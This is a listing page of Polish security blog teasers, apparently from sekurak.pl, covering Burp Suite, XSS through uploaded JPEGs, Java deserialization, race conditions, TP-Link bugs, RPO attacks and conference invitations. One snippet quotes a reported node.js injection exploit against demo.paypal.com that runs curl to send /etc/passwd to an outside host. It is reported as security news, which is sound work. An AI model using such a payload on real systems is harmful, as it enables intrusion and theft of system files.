Dynamiczny rozwój aplikacji WWW doprowadza do sytuacji, w której już od jakiegoś czasu pojawia się zapotrzebowanie na wprowadzenie możliwości asynchronicznej wymiany danych pomiędzy klientem, a serwerem aplikacji. Wykorzystywany powszechnie protokół HTTP jest bezstanowy, opiera się na zapytaniu wysyłanym do serwera i udzielanej odpowiedzi – brak tutaj stanów pośrednich. Jednym z zaproponowanych…
Czytaj dalej »
Konkretny przepis oraz przykładowy jpeg znajdziecie na blogu twórców narzędzia Burp Suite. Co daje tego typu sztuczka? Choćby możliwość omijania mechanizmu CSP. Jeśli możemy uploadować na serwer pliki jpeg – to możemy umieścić tam nasz JavaScript, a stąd już krok do odpalenia XSS-a. –ms
Czytaj dalej »
W wersji podstawowej, jest to program pośredniczący w ruchu HTTP i HTTPS, pozwalający zatrzymywać, edytować i odrzucać wysyłane żądania z przeglądarki internetowej. Niezwykle przydatny do sprawdzania zachowania web aplikacji, po wysłaniu danych innych, niż pozwala użytkownikowi jej frontend. Można to robić w czasie rzeczywistym (czyli zatrzymać żądanie, zmodyfikować i przesłać…
Czytaj dalej »
Kolejna część cyklu tekstów o deserializacji w Javie. Jak już wiemy, całość może prowadzić do wykonania kodu w OS ale również do zDoS-owania naszej aplikacji…
Czytaj dalej »
Jutro mamy stoisko na konferencji Security Case Study (Warszawa), gdzie można na pewną część wejść bezpłatnie. Na sekurakowym stoisku będzie można dostać sporo naszych gadgetów (t-shirty, magnesy rozwal.to, smycze, naklejki sekurak.pl/rozwal.to, , długopisy / latarki burp suite) i oczywiście porozmawiać o życiu ;-) Na części komercyjnej pierwszego dnia będę prowadził prezentację o hackowaniu…
Czytaj dalej »
Wykorzystanie Race Condition, to metoda ataku polegająca na wykonaniu zapytania w czasie krótszym niż trwa weryfikacja warunków danej akcji aplikacji, np. podczas wgrywania plików na serwer, czas między zapisaniem pliku na dysku a weryfikacją jego typu czy rozszerzenia, pozwala na wykonanie zapytania do zapisanego zasobu.
Czytaj dalej »
O problemach bezpieczeństwa w node.js pisaliśmy już jakiś czas temu. Teraz świeży bug umożliwiający wykonanie kodu w os na demo.paypal.com. Tym razem udało się znaleźć problem przy okazji fuzzingu w burpie: Finalnie exploit okazał się w miarę prosty (wysłanie /etc/passwd do serwera atakującego): https://demo.paypal.com/demo/navigation?device[]=x&device[]=y’-require(’child_process’).exec(’curl+-F+”x=`cat+/etc/passwd`”+artsploit.com’)-’ –Michał Sajdak
Czytaj dalej »
W ostatnim odcinku braliśmy na warsztat 2 modele TP-Link Archer – był tam nieuwierzytelniony root. Tym razem temat trochę trudniejszy do wykrycia ale na pewno przydatny dla badaczy bezpieczeństwa TP-Linków.
Czytaj dalej »
Ciekawe badanie zgłoszone w ramach programu bug bounty. Pewnie kojarzycie miejsca, gdzie w ramach weryfikacji użytkownika wykonywane jest do nas zautomatyzowane połączenie telefoniczne? Arne Swinnen postanowił sprawdzić czy… podanie jednego z numerów premium spowoduje wykonanie połączenia właśnie tam. Okazało się, że…tak: Mała automatyzacja w burpie, i telefony się rozdzwoniły… ;-)…
Czytaj dalej »
Instalacja, konfiguracja i integracja ze Splunk narzędzia mod_security. A wszystko w służbie bezpieczeństwa aplikacji webowych.
Czytaj dalej »
3 szkolenia o różnym poziomie zaawansowania, przeszło 50 ćwiczeń i sumarycznie aż 7 dni.
Czytaj dalej »
Relative Path Overwrite (lub – jak w tytule – Path–Relative Style Sheet Import), jest nowym rodzajem ataku, w którym wykorzystuje się nietypowe zachowania serwerów aplikacyjnych oraz aplikacji webowych w zakresie mechanizmów przetwarzających względne adresy URL. Jak dużym zagrożeniem jest RPO/PRSSI i w jaki sposób podejść do pisania exploitów dla tej podatności? Odpowiedzi na te pytania znajdziecie w tej publikacji.
Czytaj dalej »
Na tegorocznym Confidence będzie można posłuchać mojej świeżej prezentacji: „Internet of Things – Internet of Bugs”. W ramach pokazów na żywo postaram się pokazać m.in. tematykę fizycznego wpinania się w port diagnostyczny na jednym TP-Linków (może uda to się postreamować kamerką USB na żywo – łącznie z dobieraniem się do…
Czytaj dalej »
Zapraszam na tegoroczną konferencję Confidence do Krakowa (19-20 maja 2016). W zeszłym roku miałem tam, praktyczną prezentację (w stylu live hacking), tam też jakiś czas temu prezentowałem po raz pierwszy na żywo roota na TP-Linkach. W tym roku – jeśli wszystko dopisze – szykuje się świeża prezentacja z dziedziny IoT hacking. Tak czy…
Czytaj dalej »
TL;DR – zapraszamy na konferencję CybersecPL (8 kwietnia, Warszawa) – w kuluarach będzie można wygrać koszulki sekuraka, gadgety burpa (np. mini-latarki) i ogólnie pogadać z naszą ekipą. Sam organizator – Instytut Kościuszki – pisze o wydarzeniu tak: 8 kwietnia w Warszawie odbędzie się I Polskie Forum Cyberbezpieczeństwa – coroczna konferencja…
Czytaj dalej »